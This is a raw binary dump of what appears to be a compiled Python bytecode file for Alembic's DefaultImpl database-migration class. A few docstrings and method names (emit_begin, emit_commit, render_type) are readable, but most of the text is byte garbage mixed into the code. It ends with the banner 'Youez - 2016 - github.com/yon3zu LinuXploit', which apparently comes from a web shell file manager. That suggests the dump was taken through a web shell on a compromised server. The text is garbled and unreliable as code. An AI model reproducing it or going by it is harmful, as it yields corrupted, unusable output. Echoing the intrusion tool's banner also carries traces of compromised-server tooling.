�r>c�b�|jj|jurt|d|��|d<dSdS)N�expr)r8�_type_affinityr)rc�existing�existing_transfer�new_types    r=�cast_for_batch_migratez"DefaultImpl.cast_for_batch_migrate2sC���=�'�x�/F�F�F�(,�!�&�)�8�)�)��f�%�%�%�G�Fr>rFr�is_server_defaultc�R�dddd�i}t|jdd|ji|����S)z�Render a SQL expression that is typically a server default,
        index expression, etc.

        .. versionadded:: 1.0.11

        r�TF)r_�
include_tablerRrB)r1r�rR)rcrFrLr�r�s     r=�render_ddl_sql_exprzDefaultImpl.render_ddl_sql_expr8sT��
��u�M�M�
�
���D�L�
�
���
�(2�
�
�
�
�	
r>�	inspectorrrc��|jSrf)�autogen_column_reflect)rcrPs  r=�_compat_autogen_column_reflectz*DefaultImpl._compat_autogen_column_reflectKs���*�*r>�conn_fks�Set[ForeignKeyConstraint]�metadata_fksc��dSrfrB)rcrTrVs   r=�correct_for_autogen_foreignkeysz+DefaultImpl.correct_for_autogen_foreignkeysNs	��
	
�r>c��dS)z�A hook that is attached to the 'column_reflect' event for when
        a Table is reflected from the database during the autogenerate
        process.

        Dialects can elect to modify the information gathered here.

        NrB)rcrPrq�column_infos    r=rRz"DefaultImpl.autogen_column_reflectUrtr>c��dS)z�A hook called when :meth:`.EnvironmentContext.run_migrations`
        is called.

        Implementations can set up per-migration-run state here.

        NrBrvs r=�start_migrationszDefaultImpl.start_migrations^rtr>c�@�|�d|jz��dS)z�Emit the string ``BEGIN``, or the backend-specific
        equivalent, on the current connection context.

        This is used in offline mode and typically
        via :meth:`.EnvironmentContext.begin_transaction`.

        �BEGINN�rlr�rvs r=�
emit_beginzDefaultImpl.emit_beginfs&��	
���7�T�%<�<�=�=�=�=�=r>c�@�|�d|jz��dS)z�Emit the string ``COMMIT``, or the backend-specific
        equivalent, on the current connection context.

        This is used in offline mode and typically
        via :meth:`.EnvironmentContext.begin_transaction`.

        �COMMITNr_rvs r=�emit_commitzDefaultImpl.emit_commitps&��	
���8�d�&=�=�>�>�>�>�>r>�type_objr)�autogen_contextr+�Union[str, Literal[False]]c��dS)NFrB)rcrdres   r=�render_typezDefaultImpl.render_typezs	���ur>c��ttj||tj����\}}t	|dd��}t	|dd��}t|��t|��kr|�d��|�|j��||t|��pt|��t|��kfS)N�always)	�_compare_identity_optionsr�_identity_attrs�Identity�getattrrV�add�difference_updaterQ)rc�metadata_identity�inspector_identity�diff�ignored�meta_always�inspector_alwayss       r=�_compare_identity_defaultz%DefaultImpl._compare_identity_defaults���2��'���� �"�"�	
�
�
��g��/��4�@�@��"�#5�x��F�F�������%5� 6� 6�6�6��H�H�X�������t�9�:�:�:�

����J�J�M�$�0�1�1�T�:L�5M�5M�M�

�	
r>�Tuple[Any, ...]c�>�td�|jD����S)Nc3�$K�|]}|jV��dSrf�rg)r��cols  r=�	<genexpr>z/DefaultImpl.create_index_sig.<locals>.<genexpr>�s$����7�7�#�S�X�7�7�7�7�7�7r>)r�r�r�s  r=�create_index_sigzDefaultImpl.create_index_sig�s!���7�7���7�7�7�7�7�7r>c
��d�|D��}t|��D]i}|j|vr�tj|��}|rGt	jd|j�d|j�dtj�d���|�|���jdS)Nc��i|]
}|j|��SrBr{)r�r�s  r=r�z8DefaultImpl._skip_functional_indexes.<locals>.<dictcomp>�s��@�@�@�a����@�@�@r>z@autogenerate skipping metadata-specified expression-based index z
; dialect z under SQLAlchemy z6 can't reflect these indexes so they can't be compared)	rrgr�is_expression_indexrr�r7�sqlalchemy_version�discard)rcrBr?�conn_indexes_by_name�idx�iexs      r=�_skip_functional_indexesz$DefaultImpl._skip_functional_indexes�s���@�@�<�@�@�@���(�)�)�	.�	.�C��x�/�/�/���1�#�6�6�C��
.��	�F��x�F�F�-1�-=�F�F�#.�"@�F�F�F����!�(�(��-�-�-��	.�	.r>)rRrrSrTrUrVrWrXrYrZr[r5r\r])rRrr\rd)rr1r\r])rmr-r\rV)rpr,rqr&r\r])r\rT)
rxryrzr{r|r}r~r5r\rrf)r�ryrzr{r\r])NFNNNNFNNNNN) r�r1r�r1r�rXr�r�rgr�r�r�rr�r�rXr�r�r�r�r�r�r�r�r�rXr�rXr�rr\r])r�r1r�r�rr�r\r])r�r1r�r�rr�r\r])r�rr\r])r�r#r\r])r�r1r�r�rr�r\r])rqr&r\r])r�r%r\r])r�r�r\r])T)rqr�r�r�r�rVr\r])r�r"r\rC)rrCrrCr\rV)r)rCr*rCr\rV)r5r�r6r"r\rV)
r=r>r?r@rAr>rBr@r\r])F)rFrrLrVr�rr\r1)rPrr\r)rTrUrVrUr\r])r\r])rdr)rer+r\rf)r�r%r\rx)7r?r@rA�__doc__r7rWr�rN�__annotations__rOrQr9�classmethodrhrlrors�propertyrwr�
immutabledictr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr(r4r8r<rDrKrOrSrXrRr\r`rcrhrwr~r�rBr>r=rIrIEs)�������
�
��K�����,5�y�+A�*C�M�C�C�C�C�&(��(�(�(�(�-9��9�9�9�9�����4�$�$�$��[�$�#�#�#�#�
����	�	�	�	������X��7;�&(�!3��!3�!5�!5�(�(�(�(�(�Z7;�+�+�+�+�+�$(�@E�"�&*� $�(,�8=�*.�.2�<@�,0�15�n�n�n�n�n�h59�	F�F�F�F�F�!%�	G�G�G�G�G�4�4�4�4�1�1�1�1�59�	
�
�
�
�
�3�3�3�3�.
�
�
�
�.�.�.�.�2�2�2�2�3�3�3�3�4�4�4�4�,�,�,�,�!�	$�$�$�$�$�L$�$�$�$�L����,����B���� G�G�G�
�
�
�
����>C�
�
�
�
�
�&+�+�+�+�
�
�
�
��������>�>�>�>�?�?�?�?�����

�
�
�:8�8�8�8�.�.�.�.�.r>rI)�	metaclassc� �t��}t��}|D]l}t||d��}t||d��}t||d��}	|	|kr1||kr|�|���W|�|���m||fSrf)�setrnro)
�
attributes�metadata_io�inspector_io�
default_iors�ignored_attr�attr�
meta_value�
default_value�
conn_values
          r=rkrk�s����5�5�D��5�5�L������[�$��5�5�
��
�D�$�7�7�
��\�4��6�6�
���#�#��]�*�*�� � ��&�&�&�&������������r>)>�
__future__r�collectionsrr�typingrrrrr	r
rrr
rr�
sqlalchemyrrr�rrrrr�sqlalchemy.enginerr�sqlalchemy.engine.cursorr�sqlalchemy.engine.reflectionr�sqlalchemy.sql.elementsrr r!�sqlalchemy.sql.schemar"r#r$r%r&r'�sqlalchemy.sql.selectabler(�sqlalchemy.sql.type_apir)r*�autogenerate.apir+�operations.batchr,r-r8r/r:r�rCrIrkrBr>r=�<module>r�s���"�"�"�"�"�"�"�"�"�"�"�"�"�	�	�	�	������������������������������������������������������� � � � � � ��������������������������������������������7�������������,�,�,�,�,�,�)�)�)�)�)�)�5�5�5�5�5�5�6�6�6�6�6�6�5�5�5�5�5�5�5�5�5�5�5�5�3�3�3�3�3�3�,�,�,�,�,�,�0�0�0�0�0�0�:�:�:�:�:�:�+�+�+�+�+�+�+�+�+�+�+�+�6�6�6�6�6�6�5�5�5�5�5�5�2�2�2�2�2�2�$�$�$�$�$�$�1�1�1�1�1�1�1�1�1�1�1�1�6�6�6�6�6�6�
�
�
�
�
�t�
�
�
�(*��)�)�)�)�	��H�D�D�D�	E�	E��j	.�j	.�j	.�j	.�j	.�H�j	.�j	.�j	.�j	.�Z����r>

Youez - 2016 - github.com/yon3zu
LinuXploit